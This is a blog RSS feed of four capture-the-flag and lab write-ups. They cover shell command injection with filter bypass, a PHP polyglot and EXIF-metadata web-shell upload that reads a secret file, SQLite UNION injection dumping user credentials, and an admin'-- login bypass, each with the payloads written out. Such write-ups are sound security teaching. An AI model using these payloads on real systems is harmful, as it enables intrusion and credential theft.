<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Elkady on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Elkady on Medium]]></description>
        <link>https://medium.com/@ahmed-elkady?source=rss-5cff30395a1a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6nxQxVIuJFBWCBoztCkmAQ.jpeg</url>
            <title>Stories by Ahmed Elkady on Medium</title>
            <link>https://medium.com/@ahmed-elkady?source=rss-5cff30395a1a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 22:52:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmed-elkady/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FahemSec Web CTF Writeup]]></title>
            <link>https://ahmed-elkady.medium.com/fahemsec-web-ctf-writeup-4aa9b8e2f684?source=rss-5cff30395a1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4aa9b8e2f684</guid>
            <dc:creator><![CDATA[Ahmed Elkady]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 02:30:11 GMT</pubDate>
            <atom:updated>2026-02-22T02:30:11.944Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*9vKEbfWDEWyIEkAC7oJSaw.png" /></figure><p>The web application provides a simple interface that displays the status of three services: <strong>Apache</strong>, <strong>Nginx</strong>, and <strong>MySQL</strong>. Each service can be either <em>up</em> or <em>down</em>.</p><p>While intercepting the request using a proxy, it was observed that a parameter is sent containing the service name whose status is being checked.</p><h3>Initial Testing</h3><p>I started by manipulating the parameter value to see if I could retrieve unintended responses, but no useful behavior was observed at first.</p><p>This led me to consider that the backend might be using system commands (e.g., via a shell) to check whether a service is running.</p><h3>Discovery of Command Injection</h3><p>To test this hypothesis, I injected a semicolon (;) into the parameter:</p><pre>;</pre><p>This resulted in a different response:</p><blockquote>“service is running”</blockquote><p>I then tested with a command:</p><pre>;whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPUDjwQXzXrysw2cR5QD_Q.png" /></figure><p>The application successfully executed the command and returned the current system user.</p><p>I executed:</p><pre>;ls</pre><p>The application returned the web directory files, confirming access to the server’s file system and further validating the command injection vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQjmXDuqEqjjSQzW263VgQ.png" /></figure><p>I retrieved the contents of index.php and found that it applies weak filtering on user input using a custom function, which is insufficient to prevent command injection.</p><blockquote>if (str_contains($service, ‘/’)) {<br> $status = ‘error’;<br> $result = ‘Invalid input’;if (str_contains($service, ‘/’)) {<br> $status = ‘error’;<br> $result = ‘Invalid input’;}</blockquote><p>The challenge description included a hint:</p><blockquote>“Flag is at File System root”</blockquote><p>This indicated that the flag is located in the root directory (/), guiding the exploitation towards accessing files at the filesystem root.</p><p>Attempting to access restricted paths like:</p><pre>;ls /root</pre><p>resulted in:</p><blockquote>Invalid input</blockquote><p>Since direct access to /root was blocked due to input filtering, I looked for alternative ways to reference the directory without using /.</p><p>I tested several Linux commands that could help navigate or access directories indirectly, and some of them successfully worked despite the filter.</p><pre>;ls ${HOME:0:1}root<br>;ls ${PATH:0:1}root<br>;ls ${PWD:0:1}root</pre><p>However, those commands did not work as expected because the server was not using <strong>bash</strong>.</p><p>It was likely running /bin/sh, which has more limited features and does not support some of the techniques that work in bash.</p><p>I used directory traversal via command chaining:</p><pre>;cd ..;cd ..;cd ..;ls</pre><p>This successfully navigated to the root directory (/) and listed its contents, confirming access to the filesystem root.</p><p>I found a file named:</p><pre>flag_r4nd0m_12431darf1.txt</pre><p>Then I displayed its contents using:</p><pre>;cd ..;cd ..;cd ..;cat flag_r4nd0m_12431darf1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzYu9tikQ0myiUc2MWKWAA.png" /></figure><p>This challenge demonstrated a command injection vulnerability caused by improper input validation. By leveraging command chaining and bypassing weak filters, it was possible to access the filesystem root and retrieve the flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4aa9b8e2f684" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving PortSwigger’s Image Upload Lab with Metadata and PHP Polyglot Techniques]]></title>
            <link>https://ahmed-elkady.medium.com/exploiting-image-metadata-for-code-execution-via-polyglot-php-upload-f3db8b4657c5?source=rss-5cff30395a1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3db8b4657c5</guid>
            <dc:creator><![CDATA[Ahmed Elkady]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 20:01:02 GMT</pubDate>
            <atom:updated>2025-08-05T20:07:12.998Z</atom:updated>
            <content:encoded><![CDATA[<p>There are <strong>two methods</strong> to solve this lab:</p><ol><li><strong>Polyglot Web Shell Upload</strong></li><li><strong>Web Shell in Metadata with ExifTool</strong></li></ol><h3>1️⃣ Polyglot Web Shell Upload</h3><h4>🔍 What is a Polyglot?</h4><p>A <strong>polyglot</strong> file is one that can behave as <strong>multiple types simultaneously</strong>.<br> For example:</p><ul><li>A file that opens normally as an <strong>image</strong> 🖼️</li><li>But also contains <strong>PHP code</strong> that gets executed if uploaded to a <strong>PHP server</strong> ⚙️</li></ul><p>This works when PHP code is injected <strong>after</strong> the image’s <strong>magic bytes</strong>, so:</p><ul><li>The file passes as a valid image</li><li>But still executes as PHP when accessed via a server</li></ul><h4>🚶 Steps:</h4><p>✅ First, log in to the lab using:</p><pre>Username: wiener<br>Password: peter</pre><p>✅ The site allows image uploads <strong>only</strong>, so we’ll trick it using a polyglot image.</p><h4>Step 1: Inject PHP Code into Image</h4><p>We will inject the following PHP payload into the image:</p><pre>&lt;?php <br>echo &quot;&lt;pre&gt;&quot;; <br>echo file_get_contents(&quot;/home/carlos/secret&quot;); <br>echo &quot;&lt;/pre&gt;&quot;; <br>?&gt;</pre><p>This code reads and prints the secret file located at:</p><pre>/home/carlos/secret</pre><p>To inject the code into the image:</p><pre>echo &#39;&lt;?php echo &quot;&lt;pre&gt;&quot;; echo file_get_contents(&quot;/home/carlos/secret&quot;); echo &quot;&lt;/pre&gt;&quot;; ?&gt;&#39; &gt;&gt; p2.jpeg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*ZluLKDkKJmGnBzuXOVdFjA.png" /></figure><h4>Step 2: Convert Image into a PHP File</h4><p>Now we copy the content of the image into a .php file:</p><pre>cat p2.jpeg &gt; sh.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69eGHfuGstsV4obfDbDaHw.png" /></figure><h4>Step 3: Upload the File</h4><p>Upload the sh.php file using the upload feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*Er1tlbvggPY1cMLALKlQeQ.png" /></figure><p>Then open the file directly in a new tab, and you’ll see the <strong>flag</strong> printed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7fFmbpDM6D8Eacq5oE3YZg.png" /></figure><h3>2️⃣ Web Shell in Metadata with ExifTool</h3><p>Now for the <strong>second method</strong>, which uses <strong>EXIF metadata injection</strong>.</p><h4>ℹ️ What is Metadata?</h4><p>Metadata is additional information stored in image files — such as:</p><ul><li>Camera model</li><li>Creation date</li><li>Author</li><li>Comments</li></ul><p>These are stored in <strong>EXIF tags</strong>, and we can abuse them by inserting malicious code.</p><h4>⚠️ Requirements for this Attack to Work:</h4><ul><li>The server must <strong>allow image uploads</strong> without stripping EXIF metadata.</li><li>The server must <strong>read and display</strong> metadata (e.g., comment) on the webpage.</li><li>The metadata is rendered <strong>unsanitized </strong>, allowing code execution.</li></ul><h4>🚶 Steps:</h4><p>Use the following command to inject PHP code into the image’s metadata:</p><pre>exiftool -Comment=&#39;&lt;?php echo &quot;&lt;pre&gt;&quot;; echo file_get_contents(&quot;/home/carlos/secret&quot;); echo &quot;&lt;/pre&gt;&quot;; ?&gt;&#39; p2.jpeg</pre><p>This will create a <strong>new copy</strong> of the file (e.g., p2.jpeg_original) with the PHP code inside the Comment tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkMbP-l900P0nzFzsCEuBQ.png" /></figure><h4>🧠 Why Change the Extension to .php?</h4><p>Even though the file is an image, if renamed to .php, and uploaded:</p><ul><li>The server sees the .php extension and <strong>executes it as PHP</strong></li><li>If it also reads the <strong>comment</strong> from metadata and prints it in the HTML,</li><li>And doesn’t escape it…</li><li><strong>The PHP code inside the metadata can get executed</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*DkDf1t-Iv6YoPMIzowr6yA.png" /></figure><h4>✅ Final Step: Open Uploaded File</h4><p>Open the uploaded .php file in a new browser tab.<br> If the server reads and prints the metadata, the code is executed, and you&#39;ll see the <strong>flag</strong>:</p><p>Let me know if you’d like this as a downloadable PDF or Markdown writeup!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3db8b4657c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting SQLite via Search: Root-Me SQL Injection (String) Walkthrough]]></title>
            <link>https://ahmed-elkady.medium.com/exploiting-sqlite-via-search-root-me-sql-injection-string-walkthrough-d0c6c1bb16f5?source=rss-5cff30395a1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0c6c1bb16f5</guid>
            <dc:creator><![CDATA[Ahmed Elkady]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 13:54:02 GMT</pubDate>
            <atom:updated>2025-08-01T13:54:02.546Z</atom:updated>
            <content:encoded><![CDATA[<p>First, when we open the website, we find three input fields — two in the login page and one for search.</p><p>However, if we try to inject any payload like (&#39;a) and it causes a syntax error, we can conclude that only the <strong>search field</strong> is vulnerable to SQL injection since it&#39;s the only one that throws an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o4R5cX_LeXFtR_cS5foC2g.png" /></figure><p>Secondly, from the error message, we can tell that the database type is <strong>SQLite</strong>.<br> So we start performing <strong>SQL Injection — UNION-based</strong> and begin by detecting the number of columns.<br> We inject something like:</p><pre>--union select null,null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZG2shKp1dgTLM21yXJGcQ.png" /></figure><p>No error occurs — which is a good sign. Next, we try to determine the <strong>data type of each column</strong>.<br> After testing, we find that the <strong>second column returns strings</strong>, and the first one works with numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Qup9iNLM0helnFqLcblUw.png" /></figure><p>“Now we want to enumerate all the tables in the database, so we try the usual payload:</p><pre>&#39;UNION SELECT * FROM information_schema.tables --</pre><p>which works on many other database engines. However, since the backend here is SQLite, this query will not work.</p><p>It won’t work — because this is <strong>SQLite</strong>, not MySQL or PostgreSQL.<br> With the help of ChatGPT, we find that the correct query for SQLite is:</p><pre>&#39; UNION SELECT null, sql FROM sqlite_master WHERE type=&#39;table&#39;--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHfmrjHPmqVopa9-lk3KEw.png" /></figure><p>This returns the names of all tables and their column definitions.<br> From this, we find that the <strong>users table</strong> is the one we need, and the most important columns are username and password.</p><p>Then we try to extract data from those columns to find the credentials for the admin account using:</p><pre>&#39;union select password,username from users --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3ddhuzqGlJYuvy2YtHGXA.png" /></figure><p>Finally, we try logging in using the username and password we extracted — and it should work successfully, <strong>inshallah</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0c6c1bb16f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting SQL Injection to Bypass Authentication — Root-Me]]></title>
            <link>https://ahmed-elkady.medium.com/exploiting-sql-injection-to-bypass-authentication-root-me-ab256a8fde8b?source=rss-5cff30395a1a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab256a8fde8b</guid>
            <dc:creator><![CDATA[Ahmed Elkady]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 23:05:41 GMT</pubDate>
            <atom:updated>2025-07-31T23:05:41.512Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting SQL Injection to Bypass Authentication — Root-Me</h3><p>First, when I accessed the CTF challenge, I found fields where you can enter login and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*kuwM33-S-aESc77HBOARLQ.png" /></figure><p>Second, I tested the login field with a single quote &#39; to check for a possible SQL Injection vulnerability. If an error appears, it usually means the input is being used directly in an SQL query. From the error message shown, I was able to identify that the backend database is <strong>SQLite3</strong>, which is a lightweight version of SQL commonly used in CTFs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZmGem32gUTfIOs1jPYq6A.png" /></figure><p>Third, I tried injecting the following payload into the login field-&#39;admin</p><pre>admin&#39;--</pre><p>And I inserted any random value into the password field, just to see what happens.</p><p>This attempt was successful. I was redirected to a new page, and the response confirmed that I was logged in as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03jFJ9I5_33D7W3uqRn3JA.png" /></figure><p>On the new page, it says: (Welcome back admin)<br>Which confirms that the SQL Injection worked, and I bypassed authentication as the admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*RpfP5SoSr3LDhpKOq0R_vQ.png" /></figure><p>However, the password is shown as asterisks (hidden). So I opened the <strong>page source code</strong> to investigate further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1zLx-AYACYZQy3lNOV1cg.png" /></figure><p>I found the HTML code responsible for displaying the admin information. The password field looked like this:</p><pre>&lt;input type=&quot;password&quot; value=&quot;t0_W34k!$&quot; disabled /&gt;</pre><p>The disabled attribute means:</p><ul><li>You cannot edit the field.</li><li>You cannot copy the content using the mouse.</li><li><strong>The value will not be submitted in a request</strong> if the form is sent.</li></ul><p>Finally, I submitted this password as the challenge flag, and the CTF confirmed that the challenge was successfully solved.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab256a8fde8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>